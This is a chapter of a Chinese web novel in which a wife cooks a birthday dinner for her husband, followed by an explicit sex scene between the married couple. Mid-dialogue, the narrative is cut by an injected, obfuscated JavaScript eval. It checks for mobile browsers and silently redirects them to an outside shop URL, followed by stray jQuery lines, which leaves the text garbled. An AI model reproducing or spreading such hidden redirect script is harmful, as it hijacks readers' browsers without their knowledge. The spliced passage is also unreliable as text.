136. 第 136 章

作品:《破案吗?升官那种

    家中,糖姑早按照与薛灵玥提前商量好的,将灶房内一干食材都洗净切好,准备妥当,连那做长寿面的面粉和鸡蛋都提前称出备上了,只待薛灵玥把它们和在一处就行了。


    时间紧急,薛灵玥下马狂奔,大步扎进灶房,热火朝天的忙活起来。


    今日的晚膳准备的是松菌煨鸡汤,红焖蹄髈,银芽韭黄炒蛋,还有一道团团圆圆,圆滚滚的肉酿蛋。


    这几道菜与长寿面都是一样的法子,说是薛灵玥做得,实际更像是在她手里走了个过场。


    白气蒸腾的灶火间,薛灵玥额间泛起一丝细密的汗珠。她双手手指伸直,小心翼翼地搓动着案板上软白的面团。


    要说还是女郎灵巧,她虽是头一回做,却在糖姑的指导下有模有样的,那寿面搓拉的粗细均匀,牵连不断,最后再拎起来摔打两下,一份漂亮的长寿面就算是成功了大半。


    最先炖上的鸡汤已经开了,下入早就泡发好的菌子,用小火细细煨着,待到熬出金黄的油花,便可以起灶出锅。


    好在有糖姑这个大帮手在,一会儿帮着烧锅热油,一会儿帮放调料,薛灵玥只需要站在灶台边上挥锅铲就是。


    等最后一道酱香浓郁的肉酿蛋也出了锅,提心吊胆的薛灵玥可算长舒了口气。


    她抬手抹了抹汗,紧绷的肩膀松下来,“是不是等郎君回来,再把这面下锅就成了?”


    “正是,”糖姑笑眯眯道:“灶房里有老身给您看着,女郎快去沐浴罢。”


    提前烧好的热水早已被送到屋里。


    她还有一件事要做。


    四周满是温热的水汽氤氲缭绕,朦胧之间,薛灵玥深吸了口气,将滚烫的脸颊全埋进水中。


    想到自己一会儿要穿的那件东西,甚至没办法把它称作是衣裳,薛灵玥忍不住羞得又往水中沉了沉。


    她特意花费重金托何瑛从长安高价购买来了眼下最时兴的“寝衣”。


    木桶中的水面微微晃动,泛起一阵咕噜咕噜的泡泡。


    直到憋得实在受不了了,薛灵玥才猛地破水而出,哗啦一声,桶中的热水溢出大半,室内热意更胜。


    再磨蹭一会儿他就要回来了。她吐口气,拍拍脸颊,果断地起身跨出浴桶。


    擦净了身上的水珠,薛灵玥手指发颤,郑重地拎起那件衣裳抖了抖。轻薄微透的素色绢纱搭配数条艳丽的绸带,若是一一系好穿上,定会将本就雪白的肌肤衬托得恍若白玉。


    薛灵玥没穿过这种东西,只好照葫芦画瓢,犹豫着把颈后的绳带系好,再捋顺了绸带绕到后腰。


    “奇怪......”她悄声嘀咕,背后那端却怎么也系不好,手腕缠了几圈,差点打出一个死结。


    昏黄的铜镜上弥漫着一层淡白色的水雾,隐约透出镜中令人炫目的光晕,倒映出她娇娆的粉面,还有那件“衣裳”勾勒出的轮廓——玲珑有致,远胜从前。


    除了那几条飘着的缎带实在是不知怎么系住才好,紧了勒肉,显得局促好笑,松了又落下来,缺了点风情。


    正在薛灵玥左右尝试之间,院里响起听风热切的声音:“郎君,您回来啦!”


    这是给她的信号。


    薛灵玥忙随意把缎带往胳膊和腰腹间缠系两圈,抓起寝衣又套了一层,才系上外衫,红着脸开门出去。


    然后便直接被院中的景象惊得呆在原地。


    檐下的小桌上摞满了七七八八的包裹,绸缎、脂粉、首饰匣子,地上还摆了几盆花泥湿润的梅花,显然都是才买回来的。听风正带着人忙前忙后的搬东西。


    秦艽指尖晃悠着一包泛着油香的吃食,走过来笑道:“喏,徐家的蜜果子。”


    薛灵玥欢欢喜喜地接过来吃了一个,“寿星公给今日好大方。”


    “看见不错就买了,哪里需要挑日子。”秦艽上前揽住她,触到薛灵玥发间的水汽,他直接把自己身上的大氅解开给她披上,“让他们收拾了拿进去再看,你才沐浴好,别招风了。”


    温热的暖意扑面而来,恍惚间身上那件“衣裳”开始隐隐发烫,薛灵玥心里又软又甜,暗道今晚的惊喜果然没有白准备。


    她笑了笑,“不要紧,你先去沐浴,等我把晚膳弄好。”


    秦艽一怔,眼中倏地亮了起来。


    原来她刻意把自己支走,是为了准备一桌生辰宴。


    平日在衙门忙得像个陀螺似的人,为了他的生辰又是制弓又是下厨,简直费尽了心思。


    秦艽胸口又暖又涨,像是被什么东西狠狠撞了一下,压不住的雀跃砰砰作乱,恨不能现在就冲出去昭告全城。


    日理万机的薛大人,为了他......


    热气蒸腾的浴房里,秦艽整个人浸在舒爽的热水里不住地搓脸。


    乐疯了,真的压不住。


    嘴角的笑意高挂着,怎么都下不去。


    听到外间传来碗筷的叮当声,秦艽赶忙跃出木桶,胡乱一擦就开门出去。


    仆役已经小心地退出屋中,两人的卧房内门窗紧闭,热龙滚烫。


    薛灵玥解了外袍,一身轻快地坐在桌边,手中拿着汤匙舀汤。她双颊泛着淡淡的红晕,像是被热气熏得,连耳垂都染了一层薄粉。


    灶房太热了?秦艽皱起眉,擦着湿润的发尾大步走来,心想往后得少让她往那儿跑。


    薛灵玥眉眼弯弯,盛了满满一碗鸡汤递给他:“你快来尝尝!”


    他闷头灌了两口,想也不想:“好喝!”


    薛灵玥眨眨眼睛,“你都没仔细尝!”


    “谁说的......”秦艽又拾起勺子细品了两口,馥郁的肉香混合着清甜的菌菇,确实好喝。


    他眼神晶亮,在薛灵玥期待的目光里把桌上的菜挨个吃了一圈,拿出早上夸弓的本领狠狠夸赞了一遍。不知道得还当是一桌子什么仙丹。


    暖黄的烛火下,薛灵玥脸蛋儿更红,她双手托腮,目不转睛地看他将筷子伸向了那碗长寿面。


    他吃得格外认真,看样子是要一口气连汤儿都不想剩下。


    “慢点吃,”薛灵玥忍不住笑,“又没人跟你抢。”


    秦艽呼噜了最后一口,放下碗,“好吃,比我这辈子吃过的最好吃的东西还好吃!”顿了顿,拉住她的手在指间摩挲,垂着头道:“灵玥这手艺不知道比我当初做得那碗烧火棍儿强多少。”


    薛灵玥柔柔一笑,“都好,你做得就是好吃的。”


    这是他与她共度的第一个生辰。秦艽鼻腔酸涩,语塞得说不出话。


    她站起身,坐到他腿上,双臂揽住他的脖颈,轻轻地将他抱在自己怀里,“我们已经成亲了,往后还会在一起度过很多很多个生辰,你的,和我的,知道吗?”


    秦艽呼吸起伏轻颤,把脸埋在她的胸前不住地应声。他永远都在介意自己为她做得不够多,不够好。


    “还有,我知道你愿意为了我豁出性命去,”可是她也会担忧,也会惊惧,小手轻抚过他胸膛上早已痊愈的道道伤疤,“但是秦艽,我很贪心,我想要的不是你拿命护我一时,而是想要你平平安安,陪我一辈子,好吗?”


    薛灵玥捧起他的脸,杏眼直直望进他泛红的眼底,“我知道也许未来会很难,但是只要我们在一处,就可以互相支持,就可以走下去。”


    一辈子还很长,他还有许多的时间可以慢慢对她好。


    秦艽眼中泪水倏然滚落,微微仰头看她,声音沙哑坚定:“我答应你,灵玥。”


    “从今往后,”他的嘴唇不带任何杂念地轻轻贴在她的心口,“往后就是你嫌我烦了,赶也赶不走。”


    “好好的日子又说胡话......”薛灵玥眼尾泛红,吸吸鼻子,仍坐在他腿上。


    他的手覆在她的后背,薛灵玥不由得腰肢微微前倾,吐息如兰:“看在你这么听话的份上,夫君,我还有一个礼物要给你。”


    不等他反应,薛灵玥抬手从袖中抽出一条绢带,轻轻覆住他的双眼。


    秦艽尚未从情绪中抽离,眼前倏地被朦胧的绢纱遮住,莫名有些不安地轻喊:“呦呦?”


    薛灵玥轻哼一声,抓着他的手贴在腰侧,干燥温暖的大掌立刻隔着单薄的寝衣触到了掌心下的触感。


    视线被遮蔽,泪痕才干的脸上浮现出不解,他下意识拢着手掌摸了摸,“这是什么?”


    薛灵玥耳尖耳根都红得不成样子,松开他的手腕,“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460771|184007||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    本来想穿给你看的,”话间露出羞恼,“但是这带子太复杂了......”


    秦艽心猿意马地笑出了声,眼睫在缎带下轻轻颤动,“所以要遮住不给我看?”


    他大掌勾住薛灵玥的腿弯,猛地将人横抱起来,薛灵玥笑着锤了他一拳,谁知他非但没往床榻去,反而径直走到书桌前,将桌上的案卷胡乱一扫,把她放在那瞬时清空的案几上。


    秦艽唇角勾起,附在她耳边哑声道:“为夫眼睛看不清,只能走到这儿了,如不今日换点花样,就在案上试试?”


    敢调戏她,薛灵玥红着脸不甘示弱,立刻大着胆子往下探,“试试就试试。”


    因视线被遮蔽,触觉就显得格外敏感,倏地被她握住,秦艽轻轻吸口冷气,“轻点,它是想你呢。”


    薛灵玥脸蛋腾得红得烧起来,低头见秦艽似乎想要胡乱勾开她的衣带,她脸上缓缓露出一抹暧昧的笑,不容回绝地挡住他,带着细茧的手掌毫无章法地击穿他脆弱的防线。


    又是毫无征兆地重重一下,秦艽突然闷哼一声,喉结滚动,声音里带着难耐的沙哑扣住她乱动的手腕,“慢一些——”


    他被绢带覆盖的面颊一片红晕,如失控般春色撩人,看得薛灵玥心头微动,坏笑着仰起脸,冲着他因快意而微张的嘴唇亲了上去。


    双唇倏地一碰,便如久旱逢甘霖,秦艽呼吸陡然粗重,垂下头吻得又深又急,紧紧地勾缠上住她不放,大掌从急切地后扣住腰肢,循着熟悉的曲线紧紧贴合。


    烛火摇曳,两人亲昵的身影映在墙上。


    “呦呦......”他强忍着微微推开一息,下巴染上晶莹的水渍,“帮我摘下来,我想看看你。”


    她受蛊惑似的抬起手,指尖有点哆嗦,比主动时还要紧张。


    轻薄朦胧的绢带掉落的瞬间,薛灵玥看清了他黑得骇人的眸色。


    她浑身一抖,来不及跑便被他狠狠压住。


    绢带已经死死缠紧,早就分不清彼此,理不清长短,却不约而同地在灯下泛着魅人的微光,尽职尽责地盘绕在雪白的肌肤上。


    眼前的美景让秦艽呼吸停滞,足足过了几息才吐出一口浊气。


    他如今的自制力已经远胜从前,先是亲了亲她的脸颊,便扶住了她的腰,强势而霸道的指尖向内触碰,她立刻缩着身子颤了颤,如雷做鼓心跳恍若置身于温暖的水流,昏沉的大脑渐渐迷失,放松了警惕。


    然而就在失神之际,局势瞬时逆转。


    微凉光洁的桌案上,她起伏战栗,断断续续地朝他抱怨:“桌子,冷......”


    “对不起乖乖。”秦艽勉强分出一丝神志回应,大掌滑到她柔软的小肚子下,隔绝了冷硬的桌面,又俯下身啄了啄泛起细汗的脸蛋,另一只手蛮横地挤进她微微张开的指缝。


    他微微仰起头,呼吸又急又乱:“再等等——马上,就——”


    薛灵玥眼泪直流,这时候便娇气起来了,“你个大骗子!”


    这声音软软的,怀中又满是她,秦艽没由来的喉间干渴,大掌缓缓从前抚上颈侧,轻轻一带,薛灵玥被迫转过头,口中的低泣还未溢出,粉唇便被他含住。


    温热的呼吸交融,秦艽吻得很深,像是要将满腔的爱意都倾注在这一刻。


    她侧身仰头的姿势让这个吻愈发缠绵,直到薛灵玥气息不稳,几乎窒息,他才略略退开,看到她快慰到微微失神的模样,秦艽胸口一满,熨烫着的心间激荡开一种令人发麻的舒爽。


    他鼻尖仍抵着她的,“真想每日都过生辰......”


    薛灵玥手软酥软,早已说不出半个字来。


    鼻尖萦绕着甜馥的香气,细细密密的垂落在周遭,秦艽内心深处渐渐又生出那股直通灵魂深处的畅快——这是他的生辰,而她为了他......


    察觉到她的情绪起伏,他紧跟着也忍不住长长的喟叹一声,汗津津的脸埋进她雪白的脖颈,“呦呦.....”


    窗外又飘下莹润的薄雪,簌簌落在屋檐。


    摇曳的烛火下,翻滚不休的轻风遮不住缠乱,桌案上,小榻上,甚至是窗边......


    直到天色将明方才止息。